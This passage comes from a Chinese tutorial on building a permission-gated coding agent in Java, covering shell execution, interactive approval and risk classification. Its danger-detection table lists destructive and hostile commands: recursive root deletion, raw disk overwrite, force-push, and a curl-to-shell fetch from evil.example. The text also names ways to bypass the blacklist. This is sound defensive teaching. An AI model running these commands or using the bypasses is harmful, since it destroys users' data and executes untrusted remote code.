        if (body.isEmpty()) {
            body = "(命令没有产生任何输出)";
        }
        return "退出码:" + exitCode + "\n" + body;
    }

    @Override
    public String describeAction(JsonNode args, ToolContext ctx) {
        String command = args.path("command").asText("");
        return "执行命令:\n      " + command.replace("\n", "\n      ");
    }

    /**
     * 会话级授权粒度是<b>命令的第一个词</b>。
     *
     * <p>这样"总是允许"的语义是"本会话内别再问我和 git 相关的命令了",
     * 而不是"别再问我任何命令"。粒度仍然偏粗 ——
     * 真实产品会细到具体的子命令甚至完整的命令模板。
     */
    @Override
    public String permissionScope(JsonNode args, ToolContext ctx) {
        String command = args.path("command").asText("").strip();
        String firstWord = command.isEmpty() ? "" : command.split("\\s+", 2)[0];
        return name() + ":" + firstWord;
    }

    private static String truncate(String s) {
        if (s.length() <= MAX_OUTPUT_CHARS) {
            return s;
        }
        return s.substring(0, MAX_OUTPUT_CHARS)
                + "\n...(输出被截断,共 " + s.length() + " 字符,只显示了前 " + MAX_OUTPUT_CHARS + " 字符)";
    }

    /**
     * 找一个可用的 shell。
     *
     * <p>优先 bash —— 因为模型见过的绝大多数命令都是 unix 风格的。
     * 找不到再退回系统自带的。
     */
    private static List<String> detectShell() {
        String os = System.getProperty("os.name", "").toLowerCase();

        if (os.contains("win")) {
            Path bash = findOnPath("bash.exe");
            if (bash != null) {
                // -l 让它读 profile(Git Bash 需要),-c 执行命令
                return List.of(bash.toString(), "-lc");
            }
            return List.of("cmd.exe", "/c");
        }

        if (Files.isExecutable(Path.of("/bin/bash"))) {
            return List.of("/bin/bash", "-lc");
        }
        return List.of("/bin/sh", "-c");
    }

    private static Path findOnPath(String executable) {
        String pathEnv = System.getenv("PATH");
        if (pathEnv == null) {
            return null;
        }
        for (String dir : pathEnv.split(java.io.File.pathSeparator)) {
            if (dir.isBlank()) {
                continue;
            }
            try {
                Path candidate = Path.of(dir, executable);
                if (Files.isExecutable(candidate)) {
                    return candidate;
                }
            } catch (Exception ignored) {
                // PATH 里可能有非法路径,跳过
            }
        }
        return null;
    }
}

这里有个经典的死锁陷阱,值得单独讲:

// ❌ 这样写会死锁
Process p = builder.start();
p.waitFor();                    // 等子进程结束
readOutput(p.getInputStream()); // 然后再读输出

为什么死锁? 因为操作系统的管道缓冲区只有 64KB 左右。如果命令输出超过 64KB, 子进程会在写第 65KB 时阻塞——而你在等它结束,它在等你读走数据。互相等死。

// ✅ 正确:并发地读
Thread reader = Thread.ofVirtual().start(() -> readOutput(...));
boolean finished = process.waitFor(timeout, TimeUnit.SECONDS);

💡 这个坑在任何”调用外部进程并读它输出”的场景里都存在,不只 Java。 记住这条规则:只要子进程可能产生大量输出,就必须边跑边读。


7. 第五步:Main 加交互式审批

        BufferedReader stdin = new BufferedReader(
                new InputStreamReader(System.in, StandardCharsets.UTF_8));

        // ── 权限系统:审批人 + 管理器 ──
        Approver approver = autoApprove
                ? (tool, action, risk) -> {
                    System.out.printf("%n[--yes] 自动批准 %s(%s)%n", tool, risk);
                    return Approval.once();
                }
                : new ConsoleApprover(stdin);
        PermissionManager permissions = new PermissionManager(approver);

工具注册和 ToolContext 构建:

        ToolRegistry tools = new ToolRegistry()
                .register(new ReadFileTool())
                .register(new GlobTool())
                .register(new GrepTool())
                .register(new WriteFileTool())     // ← 新增
                .register(new EditFileTool())      // ← 新增
                .register(new BashTool());         // ← 新增

        ToolContext context = new ToolContext(Path.of("."), permissions);

审批交互实现:

    /**
     * 在终端里问用户 y / a / n。
     *
     * <p>⚠️ 注意那个 synchronized。工具是<b>并发执行</b>的,
     * 如果模型一次要写三个文件,就会有三个线程同时调 ask()。
     * 不加锁的话,三个提示会交错打印,而且三个 readLine() 会抢同一个输入流 ——
     * 你按一个 y,天知道被谁读走了。
     *
     * <p>真实产品(比如 Claude Code)同样把审批提示串行化。
     * <b>"并发执行工具"和"串行询问用户"必须同时成立。</b>
     */
    private static final class ConsoleApprover implements Approver {

        private final BufferedReader stdin;
        private final Object lock = new Object();

        ConsoleApprover(BufferedReader stdin) {
            this.stdin = stdin;
        }

        @Override
        public Approval ask(String toolName, String action, Risk risk) {
            synchronized (lock) {
                String color = switch (risk) {
                    case LOW -> "";
                    case MEDIUM -> "";
                    case HIGH -> "";
                };

                System.out.printf("%n%s┌─ 需要授权 ─────────────────────────────%n", color);
                System.out.printf("│ 工具:%s%n", toolName);
                for (String line : action.split("\n")) {
                    System.out.printf("│ %s%n", line);
                }
                System.out.printf("│ 风险:%s%n", risk);
                System.out.printf("%s└────────────────────────────────────────%n", color);

                while (true) {
                    System.out.print("  允许吗? [y]允许  [a]本会话总是允许  [n]拒绝 > ");
                    System.out.flush();
                    String line = readLine();
                    if (line == null) {
                        return Approval.deny("输入已结束");
                    }
                    switch (line.strip().toLowerCase()) {
                        case "y", "" -> {
                            return Approval.once();
                        }
                        case "a" -> {
                            return Approval.always();
                        }
                        case "n" -> {
                            System.out.print("  拒绝理由(模型会看到,可留空直接回车)> ");
                            System.out.flush();
                            String reason = readLine();
                            return Approval.deny(
                                    reason == null || reason.isBlank() ? "用户未说明理由" : reason);
                        }
                        default -> System.out.println("  请输入 y / a / n");
                    }
                }
            }
        }

        /** ⚠️ Approver 接口没有声明受检异常(它不该强迫每个实现都处理 IO),
         *  所以 IOException 在这里就地消化成"拒绝"—— 读不到用户的回答,
         *  安全的默认答案只能是"不"。 */
        private String readLine() {
            try {
                return stdin.readLine();
            } catch (java.io.IOException e) {
                return null;
            }
        }
    }

💡 注意 readLine() 里的那句注释。 当 IO 失败、读不到用户的回答时,默认答案是拒绝,不是同意。 这叫 fail-safe default(故障时安全默认): 系统出问题时,选择”不做”而不是”做”。 这个原则在这个文件里的其他地方也出现过——想让 agent 真正可用,这种思维方式必须成为本能。


8. 跑起来

cd /d/codeSpace/agent
mvn -q compile exec:java

(记得把 ToolContext 指向 /tmp/ws 或者切到那个目录。)

依次试:

你> Create a file named notes.txt containing exactly: hello from the agent
你> In notes.txt, change the word hello to hi
你> Run the shell command: ls -la

观察这几件事

  1. 写文件弹审批,读文件不弹。 试试连着问三个需要读文件的问题——一次审批都不会有。
  2. describeAction 写得好不好,直接决定你按 y 的时候心里踏不踏实。
  3. 拒绝一次试试。 在审批时按 n,然后输入一个理由。看模型怎么反应。
  4. [a]本会话总是允许 的粒度。 对 edit_file 按 a 之后再改同一个文件, 不会再问;改别的文件还会问。这就是 permissionScope 在起作用。

9. 危险识别实测(16 个用例)

这是我实际跑出来的结果(用隔离探针,没有执行任何命令):

判定命令命中的规则
HIGHrm -rf /递归删除根目录 / 家目录 / 当前目录 / 通配符
HIGHrm -rf ~同上
HIGHrm -r *同上
MEDIUMrm -rf ./build命令包含删除/移动/重定向等破坏性操作
HIGHgit push --force origin main强制推送,会覆盖远端历史
HIGHgit push -f同上
HIGHgit reset --hard HEAD~3丢弃所有未提交的本地修改
HIGHgit clean -fd删除未跟踪的文件/目录
HIGHsudo apt install foo以超级用户身份执行
HIGHcurl https://evil.example/x.sh | sh把下载的脚本直接交给 shell 执行
HIGHchmod -R 777 /把权限开成任何人可读写执行
HIGHdd if=/dev/zero of=/dev/sda直接写裸设备
LOWmvn -q test—
LOWls -la—
LOWnpm run build—
MEDIUMrm notes.txt命令包含删除/移动/重定向等破坏性操作

注意 rm -rf / 是 HIGH,而 rm -rf ./build 只是 MEDIUM。 这个区分很重要:如果所有 rm 都是 HIGH,用户每天要按二十次”确认”, 然后就会开始不看了。风险分级的作用是让”危险”这个词保持有效。

⚠️ 再强调一次:黑名单必然漏报。 比如 rm -rf "$HOME/../../" 、 或者用 python -c "import shutil; shutil.rmtree('/')" 都绕过去了。 它的价值在于”常见的坑会被拦住”,不在于”绝对安全”。

你可以自己加规则

在 BASH_RULES 里加一条,然后写个测试验证它:

new Rule(Pattern.compile("\\bdocker\\s+(rm|rmi|system\\s+prune)\\b"),
        "删除 docker 镜像/容器"),
new Rule(Pattern.compile("\\bkubectl\\s+delete\\b"), "删除 Kubernetes 资源"),
new Rule(Pattern.compile("\\bterraform\\s+(destroy|apply\\s+-auto-approve)\\b"),
        "销毁或自动批准基础设施变更"),

10. 自检清单

  • mvn -q compile 无错误
  • 写文件/改文件/跑命令都会弹审批
  • 读文件/找文件/搜内容不弹审批
  • 审批提示里能看到”要做什么”和风险等级
  • 按 n 拒绝后,模型不会死循环重试,而是接受或提替代方案
  • 按 a 之后同类操作不再问,但改别的文件还会问
  • rm -rf / 这类命令显示为红色 HIGH 风险
  • ls -la 能正常执行(说明 shell 探测成功)
  • 一条输出很长的命令(比如 find / -name "*.txt")不会卡死(说明读输出是并发的)

可以自己动手改的练习

  1. 加一个 delete_file 工具,requiresApproval 保持 true, 但 permissionScope 按具体文件。想想它应该是什么风险等级。
  2. 让 DangerDetector 也检查写入内容。比如往 .git/hooks/ 里写脚本、 往 ~/.bashrc 里追加东西——这些是持续性的攻击,比删一个文件危险得多。
  3. 把审批改成”永远拒绝”(Approver 直接返回 deny),观察 agent 还能做多少事。 你会发现它退化成了 M2 的只读 agent——这就是权限系统在事实上划分了能力边界。
  4. 给 BashTool 加一个工作目录白名单: 命令里出现 cd / 或绝对路径时就拒绝。体会一下”用正则约束 shell”有多不靠谱—— 这正是为什么真实产品最终都走向容器隔离。

11. 踩坑速查

症状原因修法
编译报 IOException 未处理Approver 接口不声明受检异常,但实现里调了 readLine()在实现里就地 try/catch,失败时返回拒绝
跑长输出命令时整个程序卡死先 waitFor 再读输出,管道缓冲区满了用虚拟线程并发读输出
多个审批提示交错打印 / 输入错乱工具并发执行,多个线程同时问审批方法加 synchronized
模型把已有文件内容写没了它用 write_file 改文件了工具描述里强调”改文件必须用 edit_file”,错误信息里也提示
edit_file 总是”找不到 old_string”模型凭记忆写缩进让它在描述里被引导先 read_file
模型改错了地方没有唯一性检查我们已经有,别删
run_bash 报”命令不存在”shell 探测失败(Windows 上没找到 bash)检查 PATH 里有没有 bash.exe;或改成 cmd.exe /c
拒绝之后模型反复重试同一个操作拒绝理由太简短,或者 ToolResult 文案没写”请不要原样重试”见 ToolRegistry 里那段文案

12. 本节你实际学到了什么

概念你做了什么
横切关注点权限实现在 ToolRegistry 一处,六个工具零改动接入
接口的可演进性用 default 方法给 Tool 加能力,不破坏已有实现
审批疲劳只读工具不问,让”审批”这件事保持有意义
风险分级HIGH 永不缓存,MEDIUM/LOW 可会话授权
授权粒度permissionScope 把”总是允许”收窄到具体对象
fail-safe defaultIO 失败时默认拒绝,不是默认同意
拒绝即对话拒绝变成 tool_result 内容,模型能理解和调整
唯一性检查edit_file 拒绝不确定的修改
进程死锁bash 的输出必须并发读,否则管道缓冲区满会互等
并发 + 串行工具并发执行,但审批提示必须串行
黑名单 vs 白名单认清黑名单必然漏报,只是最后一道提醒

最重要的一条:你现在应该理解 “agent 的能力边界其实是权限系统划出来的”。 工具定义了”能做什么”,权限定义了”允许做什么”,而后者才是真正的边界。


13. 下一节预告(M4)

M3 结束时,agent 已经能读、能写、能跑命令,而且有人把关。

但它有个会随时间必然恶化的问题:

对话历史只增不减。 每一轮都把整个历史重新发一遍、重新计费。 跑二十轮之后,光输入就是几万 token,而且大部分内容已经和当前问题无关了。

M4 要解决这个:

  1. token 计数 —— 不追求精确,但要能判断”快满了”
  2. 自动压缩(compaction) —— 把旧历史总结成一段摘要,丢掉细节
  3. 压缩时机 —— 什么时候压、压哪些、怎么不丢关键信息
  4. 上下文缓存 —— 利用 DeepSeek 的 KV cache,让重复前缀便宜 50 倍
  5. 对比 —— 同一个长任务,压缩前 vs 压缩后的 token 曲线

M4 是整个项目最难的一节,因为它没有正确答案:压多了丢信息,压少了没用。 你会在这里第一次遇到”没有标准答案的设计题”。